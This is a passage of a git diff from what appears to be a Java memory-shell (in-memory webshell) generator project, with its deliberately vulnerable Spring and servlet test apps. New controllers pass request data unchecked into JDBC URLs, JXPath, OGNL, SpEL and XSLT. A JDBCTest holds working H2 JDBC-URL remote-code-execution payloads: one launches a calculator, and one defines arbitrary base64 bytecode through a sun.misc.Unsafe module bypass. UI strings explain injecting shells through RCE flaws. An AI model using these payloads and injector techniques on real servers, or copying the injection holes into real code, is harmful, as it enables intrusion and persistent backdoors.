java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java new file mode 100644 index 00000000..c220540b --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java new file mode 100644 index 00000000..23c025a3 --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java new file mode 100644 index 00000000..e99eaa7d --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java new file mode 100644 index 00000000..18693dab --- /dev/null +++ b/vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot4.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import org.springframework.expression.spel.support.StandardEvaluationContext; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/spel") +public class SpELController { + + /** + * 10000 长度限制,无法使用 + */ + @PostMapping + public ResponseEntity spel(String data) { + return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext()))); + } +} diff --git a/vul/vul-springboot4/src/main/resources/application.properties b/vul/vul-springboot4/src/main/resources/application.properties new file mode 100644 index 00000000..330e4c5d --- /dev/null +++ b/vul/vul-springboot4/src/main/resources/application.properties @@ -0,0 +1 @@ +spring.application.name=vul-springboot4 diff --git a/vul/vul-springboot4/src/test/java/CommandExec.java b/vul/vul-springboot4/src/test/java/CommandExec.java new file mode 100644 index 00000000..c708f1b2 --- /dev/null +++ b/vul/vul-springboot4/src/test/java/CommandExec.java @@ -0,0 +1,15 @@ +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class CommandExec { + static { + try { + java.lang.Runtime.getRuntime().exec("open -a Calculator"); + } catch (IOException e) { + + } + } +} diff --git a/vul/vul-springboot4/src/test/java/JDBCTest.java b/vul/vul-springboot4/src/test/java/JDBCTest.java new file mode 100644 index 00000000..fd402efc --- /dev/null +++ b/vul/vul-springboot4/src/test/java/JDBCTest.java @@ -0,0 +1,54 @@ +import com.reajason.javaweb.vul.springboot4.controller.JDBCController; +import org.junit.jupiter.api.Test; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +public class JDBCTest { + + @Test + void testJDBC() throws Exception { + JDBCController jdbcController = new JDBCController(); + String funcionName = "testJDBC"; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" + + "String shellexec(String abc) throws java.lang.Exception{" + + "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" + + "return \"test\"\\;" + + "}'\\;" + + "CALL " + funcionName + "('123')"; + jdbcController.JDBC(str); + } + + @Test + void testJDBC2() throws Exception { + JDBCController jdbcController = new JDBCController(); + String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw=="; + String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" + + "String a(String a) throws java.lang.Throwable{" + + "String base64Str=\"" + b64Bytecode + "\"\\;" + + "byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" + + "try {" + + " java.lang.Class unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" + + " java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" + + " unsafeField.setAccessible(true)\\;" + + " java.lang.Object unsafe = unsafeField.get(null)\\;" + + " java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" + + " java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" + + " long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" + + " java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" + + " java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" + + " java.lang.Class callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" + + " getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" + + "} catch (Throwable e) {}" + + "java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" + + "defMethod.setAccessible(true)\\;" + + "java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" + + "myclass.newInstance()\\;" + + "return null\\;" + + "}'\\;" + + "CALL look('')"; + System.out.println(str); + jdbcController.JDBC(str); + } +} diff --git a/vul/vul-webapp/src/main/java/XSLTServlet.java b/vul/vul-webapp/src/main/java/XSLTServlet.java new file mode 100644 index 00000000..35259487 --- /dev/null +++ b/vul/vul-webapp/src/main/java/XSLTServlet.java @@ -0,0 +1,29 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerFactory; +import javax.xml.transform.stream.StreamResult; +import javax.xml.transform.stream.StreamSource; +import java.io.IOException; +import java.io.StringReader; + +/** + * @author ReaJason + * @since 2026/8/30 + */ +public class XSLTServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + TransformerFactory factory = TransformerFactory.newInstance(); + Transformer transformer = factory.newTransformer(new StreamSource(new StringReader(data))); + transformer.transform(new StreamSource(new StringReader("")), + new StreamResult(resp.getWriter())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml index d44e5d08..1adb9b2a 100644 --- a/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -33,6 +33,15 @@ /js + + xslt + XSLTServlet + + + xslt + /xslt + + java-deserialize JavaReadObjServlet diff --git a/web/.env b/web/.env index 1f867a91..56d7e9e7 100644 --- a/web/.env +++ b/web/.env @@ -1,2 +1,2 @@ -VITE_APP_API_URL=http://127.0.0.1:8080 +VITE_APP_API_URL=http://127.0.0.1:8889 VITE_APP_BASE_PATH=/ \ No newline at end of file diff --git a/web/.oxfmtrc.json b/web/.oxfmtrc.json index c6b4dbd4..c345099e 100644 --- a/web/.oxfmtrc.json +++ b/web/.oxfmtrc.json @@ -1,12 +1,6 @@ { "$schema": "./node_modules/oxfmt/configuration_schema.json", - "experimentalTailwindcss": { - "stylesheet": "./app/app.css", - "attributes": ["class", "className"], - "functions": ["clsx", "cn"], - "preserveWhitespace": true - }, - "ignorePatterns": [], + "ignorePatterns": ["content/**"], "sortImports": { "newlinesBetween": true, "groups": [ @@ -16,5 +10,11 @@ ["value-parent", "value-sibling", "value-index"], "unknown" ] + }, + "sortTailwindcss": { + "stylesheet": "./app/app.css", + "attributes": ["class", "className"], + "functions": ["clsx", "cn"], + "preserveWhitespace": true } } diff --git a/web/.oxlintrc.json b/web/.oxlintrc.json index 3ec834da..54563364 100644 --- a/web/.oxlintrc.json +++ b/web/.oxlintrc.json @@ -1,5 +1,6 @@ { "$schema": "./node_modules/oxlint/configuration_schema.json", + "ignorePatterns": ["vendor/**"], "rules": { "no-unused-vars": [ "warn", diff --git a/web/app/components/code-viewer.tsx b/web/app/components/code-viewer.tsx index dffb4a94..37ad6445 100644 --- a/web/app/components/code-viewer.tsx +++ b/web/app/components/code-viewer.tsx @@ -10,6 +10,12 @@ import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/materia import { toast } from "sonner"; import { Button, type buttonVariants } from "@/components/ui/button"; +import { + DropdownMenu, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; import { cn } from "@/lib/utils"; SyntaxHighlighter.registerLanguage("java", java); @@ -18,8 +24,16 @@ interface CopyButtonProps extends React.ComponentProps<"button"> { src?: string; } +export interface CopyOption { + label: string; + value: string; + disabled?: boolean; +} + export function CopyButton({ value, + className, + ...buttonProps }: Readonly>) { const [hasCopied, setHasCopied] = useState(false); const { t } = useTranslation(["common"]); @@ -43,11 +57,12 @@ export function CopyButton({ return ( @@ -55,6 +70,62 @@ export function CopyButton({ ); } +export function CopyMenuButton({ + options, + className, + ...buttonProps +}: Readonly< + { options: CopyOption[] } & React.ComponentProps<"button"> & VariantProps +>) { + const [hasCopied, setHasCopied] = useState(false); + const { t } = useTranslation(["common"]); + + useEffect(() => { + if (hasCopied) { + const timer = setTimeout(() => { + setHasCopied(false); + }, 1000); + return () => clearTimeout(timer); + } + }, [hasCopied]); + + const handleCopy = useCallback(() => { + if (!hasCopied) { + setHasCopied(true); + toast.success(t("copySuccess"), { duration: 1000 }); + } + }, [hasCopied, t]); + + return ( + + + } + > + {hasCopied ? : } + + + {options.map((option) => ( + + {option.label} + + ))} + + + ); +} + export default function CodeViewer({ code, header, @@ -63,6 +134,9 @@ export default function CodeViewer({ height, showLineNumbers = true, wrapLongLines = true, + copyLabel, + copyDisabled = false, + copyOptions, }: Readonly) { const lineProps: lineTagPropsFunction | HTMLProps | undefined = wrapLongLines ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } @@ -75,7 +149,24 @@ export default function CodeViewer({ {header}
{button} - + {copyOptions ? ( + + ) : ( + + )}
@@ -110,4 +201,7 @@ interface CodeViewerProps { showLineNumbers?: boolean; wrapLongLines?: boolean; lineProps?: (lineNumber: number) => React.HTMLProps; + copyLabel?: string; + copyDisabled?: boolean; + copyOptions?: CopyOption[]; } diff --git a/web/app/components/decompiled-code-viewer.tsx b/web/app/components/decompiled-code-viewer.tsx new file mode 100644 index 00000000..79f85246 --- /dev/null +++ b/web/app/components/decompiled-code-viewer.tsx @@ -0,0 +1,123 @@ +import type { TokenLine } from "@/lib/decompile/decompile.worker"; + +import { memo, type ReactNode } from "react"; + +import { CopyMenuButton, type CopyOption } from "@/components/code-viewer"; + +/** material-dark palette (react-syntax-highlighter prism theme) */ +const TOKEN_COLORS: Record = { + atrule: "#c792ea", + boolean: "#c792ea", + builtin: "#ffcb6b", + char: "#80cbc4", + "class-name": "#f2ff00", + comment: "#616161", + constant: "#c792ea", + function: "#c792ea", + keyword: "#c792ea", + number: "#fd9170", + operator: "#89ddff", + property: "#80cbc4", + punctuation: "#89ddff", + regex: "#f2ff00", + string: "#a5e844", + variable: "#ff6666", +}; + +const BACKGROUND = "#2f2f2f"; +const PLAIN = "#eee"; +const GUTTER_COLOR = "#616161"; +const FONT_FAMILY = "Roboto Mono, monospace"; + +interface DecompiledCodeViewerProps { + lines: TokenLine[] | null; + placeholder: string; + header?: ReactNode; + button?: ReactNode; + height: number; + copyLabel: string; + copyOptions: CopyOption[]; +} + +export default memo(function DecompiledCodeViewer({ + lines, + placeholder, + header, + button, + height, + copyLabel, + copyOptions, +}: Readonly) { + return ( +
+
+ {header} +
+ {button} + +
+
+
+ {lines ? ( +
+
+ {lines.map((_, index) => ( +
{index + 1}
+ ))} +
+
+              {lines.map((line, index) => (
+                
+ {line.map(([type, text], segmentIndex) => + type === "plain" ? ( + text + ) : ( + + {text} + + ), + )} + {line.length === 0 ? " " : null} +
+ ))} +
+
+ ) : ( +
+            {placeholder}
+          
+ )} +
+
+ ); +}); diff --git a/web/app/components/memshell/results/basic-info.tsx b/web/app/components/memshell/results/basic-info.tsx index 4d3ccabf..3f54d3dc 100644 --- a/web/app/components/memshell/results/basic-info.tsx +++ b/web/app/components/memshell/results/basic-info.tsx @@ -23,6 +23,7 @@ import { FeedbackAlert } from "./feedback-alert"; export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShellResult }>) { const { t } = useTranslation(["memshell", "common"]); const isDubbo = generateResult?.shellConfig.server === "Dubbo"; + const shellToolConfig = generateResult?.shellToolConfig; return ( @@ -65,13 +66,13 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe /> )} @@ -79,26 +80,28 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe <> )} @@ -107,8 +110,8 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: MemShe
} + + {shellClassName}} button={ } - wrapLongLines={true} height={height} - code={generateResult?.shellBytesBase64Str ?? ""} - language="text" + lines={sources.shell?.lines ?? null} + placeholder={sourcePlaceholder} /> - - {generateResult?.injectorClassName}} + + {injectorClassName}} button={ } height={height} - code={generateResult?.injectorBytesBase64Str ?? ""} - language="text" + lines={sources.injector?.lines ?? null} + placeholder={sourcePlaceholder} /> diff --git a/web/app/components/probeshell/basic-info.tsx b/web/app/components/probeshell/basic-info.tsx index 3322965e..393ebfc7 100644 --- a/web/app/components/probeshell/basic-info.tsx +++ b/web/app/components/probeshell/basic-info.tsx @@ -12,6 +12,7 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS const isBodyContent = generateResult?.probeConfig.probeMethod === "ResponseBody"; const isFilterContent = generateResult?.probeConfig.probeContent === "Filter"; const isBodyCommand = isBodyContent && generateResult?.probeConfig.probeContent === "Command"; + const probeContentConfig = generateResult?.probeContentConfig as ResponseBodyConfig | undefined; return ( @@ -28,18 +29,17 @@ export function BasicInfo({ generateResult }: Readonly<{ generateResult?: ProbeS {!isFilterContent && isBodyContent && ( + )} + {isBodyCommand && probeContentConfig?.commandTemplate && ( + )} - {isBodyCommand && - (generateResult?.probeContentConfig as ResponseBodyConfig).commandTemplate && ( - - )} ) { - const { t } = useTranslation(); + const { t } = useTranslation(["common", "probeshell"]); + const { sources, isDecompiling, error } = useDecompiledSources(generateResult); + if (!generateResult) { return ; } + const showCode = packMethod === "JSP"; const height = 600; + const decompiledSourceHeight = 800; + const shellClassName = generateResult.shellClassName; + const shellBytesBase64 = generateResult.shellBytesBase64Str; + const sourcePlaceholder = isDecompiling + ? `// ${t("common:decompiling")}` + : error + ? `// ${t("common:decompileFailed", { error })}` + : ""; + return ( - + {t("common:generateResult")} + {t("probeshell:shellClass")} @@ -48,6 +67,46 @@ export default function ShellResult({ /> )} + + {shellClassName}} + button={ + + } + height={decompiledSourceHeight} + lines={sources.shell?.lines ?? null} + placeholder={sourcePlaceholder} + /> + ); } diff --git a/web/app/components/search.tsx b/web/app/components/search.tsx index 6d5b3351..7d187d91 100644 --- a/web/app/components/search.tsx +++ b/web/app/components/search.tsx @@ -1,5 +1,5 @@ -import { create } from "@orama/orama"; import { useDocsSearch } from "fumadocs-core/search/client"; +import { staticClient } from "fumadocs-core/search/client/orama-static"; import { SearchDialog, SearchDialogClose, @@ -13,19 +13,12 @@ import { } from "fumadocs-ui/components/dialog/search"; import { useI18n } from "fumadocs-ui/contexts/i18n"; -function initOrama() { - return create({ - schema: { _: "string" }, - language: "english", - }); -} - export default function DefaultSearchDialog(props: SharedProps) { const { locale } = useI18n(); const { search, setSearch, query } = useDocsSearch({ - type: "static", - initOrama, - locale, + client: staticClient({ + locale, + }), }); return ( diff --git a/web/app/components/ui/dropdown-menu.tsx b/web/app/components/ui/dropdown-menu.tsx new file mode 100644 index 00000000..733a2e56 --- /dev/null +++ b/web/app/components/ui/dropdown-menu.tsx @@ -0,0 +1,53 @@ +import { Menu as MenuPrimitive } from "@base-ui/react/menu"; + +import { cn } from "@/lib/utils"; + +const DropdownMenu = MenuPrimitive.Root; + +const DropdownMenuTrigger = MenuPrimitive.Trigger; + +function DropdownMenuContent({ + className, + side = "bottom", + sideOffset = 4, + align = "center", + alignOffset = 0, + ...props +}: MenuPrimitive.Popup.Props & + Pick) { + return ( + + + + + + ); +} + +function DropdownMenuItem({ className, ...props }: MenuPrimitive.Item.Props) { + return ( + + ); +} + +export { DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger }; diff --git a/web/app/components/ui/scroll-area.tsx b/web/app/components/ui/scroll-area.tsx index 74d916f9..f52f52ac 100644 --- a/web/app/components/ui/scroll-area.tsx +++ b/web/app/components/ui/scroll-area.tsx @@ -1,13 +1,9 @@ -import * as React from "react" -import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area" +import { ScrollArea as ScrollAreaPrimitive } from "@base-ui/react/scroll-area"; +import * as React from "react"; -import { cn } from "@/lib/utils" +import { cn } from "@/lib/utils"; -function ScrollArea({ - className, - children, - ...props -}: ScrollAreaPrimitive.Root.Props) { +function ScrollArea({ className, children, ...props }: ScrollAreaPrimitive.Root.Props) { return ( - ) + ); } function ScrollBar({ @@ -38,7 +34,7 @@ function ScrollBar({ orientation={orientation} className={cn( "flex touch-none p-px transition-colors select-none data-horizontal:h-2.5 data-horizontal:flex-col data-horizontal:border-t data-horizontal:border-t-transparent data-vertical:h-full data-vertical:w-2.5 data-vertical:border-l data-vertical:border-l-transparent", - className + className, )} {...props} > @@ -47,7 +43,7 @@ function ScrollBar({ className="relative flex-1 rounded-full bg-border" /> - ) + ); } -export { ScrollArea, ScrollBar } +export { ScrollArea, ScrollBar }; diff --git a/web/app/config.ts b/web/app/config.ts index ec992ac5..f09af67d 100644 --- a/web/app/config.ts +++ b/web/app/config.ts @@ -7,7 +7,7 @@ const EnvSchema = yup.object({ }); type EnvSchema = yup.InferType; -function safeParseYup(schema: yup.ObjectSchema, data: unknown) { +function safeParseYup(schema: yup.AnySchema, data: unknown) { try { const validatedData = schema.validateSync(data, { abortEarly: false, diff --git a/web/app/docs/page.tsx b/web/app/docs/page.tsx index 118f2112..8487aabe 100644 --- a/web/app/docs/page.tsx +++ b/web/app/docs/page.tsx @@ -1,6 +1,5 @@ import type { Route } from "./+types/page"; -import browserCollections from "collections/browser"; import { useFumadocsLoader } from "fumadocs-core/source/client"; import { DocsLayout } from "fumadocs-ui/layouts/docs"; import { @@ -11,13 +10,14 @@ import { MarkdownCopyButton, ViewOptionsPopover, } from "fumadocs-ui/layouts/docs/page"; +import { use } from "react"; import { useMDXComponents } from "@/components/mdx"; import { baseOptions } from "@/lib/layout.shared"; -import { getPageMarkdownUrl, source } from "@/lib/source"; +import { docs, getPageMarkdownUrl, source } from "@/lib/source"; export async function loader({ params }: Route.LoaderArgs) { - const slugs = params["*"].split("/").filter((v: string | any[]) => v.length > 0); + const slugs = params["*"].split("/").filter((v) => v.length > 0); const page = source.getPage(slugs); if (!page) throw new Response("Not found", { status: 404 }); @@ -28,48 +28,40 @@ export async function loader({ params }: Route.LoaderArgs) { }; } -const clientLoader = browserCollections.docs.createClientLoader({ - component( - { toc, frontmatter, default: Mdx }, - // you can define props for the component - { - markdownUrl, - path, - }: { - markdownUrl: string; - path: string; - }, - ) { - return ( - - {frontmatter.title} - - {frontmatter.title} - {frontmatter.description} -
- - -
- - - -
- ); - }, -}); +function Content({ path, markdownUrl }: { path: string; markdownUrl: string }) { + const page = docs.getPage(path); + if (!page) throw new Error(`unknown page: ${path}`); + + // content is loaded lazily, call `page.preload()` in the loader to avoid suspending + const { toc } = use(page.load()); + const Mdx = page.body; + + return ( + + {page.title} + + {page.title} + {page.description} +
+ + +
+ + + +
+ ); +} export default function Page({ loaderData }: Route.ComponentProps) { const { pageTree, path, markdownUrl } = useFumadocsLoader(loaderData); return ( - {clientLoader.useContent(loaderData.path, { - markdownUrl, - path, - })} + ); } diff --git a/web/app/docs/search.ts b/web/app/docs/search.ts index 572f393a..2e56455d 100644 --- a/web/app/docs/search.ts +++ b/web/app/docs/search.ts @@ -1,17 +1,8 @@ -import { stopwords as mandarinStopwords } from "@orama/stopwords/mandarin"; -import { createTokenizer } from "@orama/tokenizers/mandarin"; import { createFromSource } from "fumadocs-core/search/server"; import { source } from "@/lib/source"; -const server = createFromSource(source, { - components: { - tokenizer: createTokenizer({ - language: "mandarin", - stopWords: mandarinStopwords, - }), - }, -}); +const server = createFromSource(source); export async function loader() { return server.staticGET(); diff --git a/web/app/i18n/common/en.json b/web/app/i18n/common/en.json index c4ead374..65e8208e 100644 --- a/web/app/i18n/common/en.json +++ b/web/app/i18n/common/en.json @@ -1,9 +1,11 @@ { "about": "About", + "documents": "Documents", "basicInfo": "BasicInfo", "byPassJavaModule": "BypassModule", "byPassJavaModule.description": "JDK 9+ module system strictly restricts reflective defineClass calls. When enabled, automatically inserts Unsafe-based module bypass code into injector", "cancel": "Cancel", + "copy": "Copy", "copyLabelSuccess": "Copy {{label}} successfully", "copySuccess": "Copy successfully", "debug": "Debug Mode", @@ -56,5 +58,8 @@ "commandTemplate": "Command Template", "commandTemplate.placeholder": "e.g., sh -c \"{command}\" 2>&1", "commandTemplate.description": "Use {command} as placeholder", - "targetJdkVersion": "JRE Version" + "targetJdkVersion": "JRE Version", + "decompile": "Decompile", + "decompiling": "Decompiling...", + "decompileFailed": "Failed to decompile source: {{error}}" } diff --git a/web/app/i18n/common/zh-CN.json b/web/app/i18n/common/zh-CN.json index 0a91905d..d3af56b7 100644 --- a/web/app/i18n/common/zh-CN.json +++ b/web/app/i18n/common/zh-CN.json @@ -1,9 +1,11 @@ { "about": "关于", + "documents": "文档", "basicInfo": "基本信息", "byPassJavaModule": "绕过模块限制", "byPassJavaModule.description": "JDK 9+ 模块化系统严格限制反射调用 defineClass。开启后会在注入器中自动插入使用 Unsafe 绕过模块限制的代码", "cancel": "取消", + "copy": "复制", "copyLabelSuccess": "复制 {{label}} 成功", "copySuccess": "复制成功", "debug": "调试模式", @@ -56,5 +58,8 @@ "commandTemplate": "命令模板", "commandTemplate.placeholder": "例如:sh -c \"{command}\" 2>&1", "commandTemplate.description": "使用 {command} 作为占位符", - "targetJdkVersion": "JRE 版本" + "targetJdkVersion": "JRE 版本", + "decompile": "反编译", + "decompiling": "正在反编译...", + "decompileFailed": "反编译源码失败:{{error}}" } diff --git a/web/app/i18n/memshell/en.json b/web/app/i18n/memshell/en.json index 8458bd88..cba34fb3 100644 --- a/web/app/i18n/memshell/en.json +++ b/web/app/i18n/memshell/en.json @@ -57,5 +57,7 @@ "tips.try-to-use-shell": "Try to use the memory shell", "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download", "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection", - "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability" + "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability", + "copySource": "Copy Source", + "copyBase64": "Copy Base64" } diff --git a/web/app/i18n/memshell/zh-CN.json b/web/app/i18n/memshell/zh-CN.json index 2894fdbd..ffd54a01 100644 --- a/web/app/i18n/memshell/zh-CN.json +++ b/web/app/i18n/memshell/zh-CN.json @@ -57,5 +57,7 @@ "tips.try-to-use-shell": "尝试利用内存马", "tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载", "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 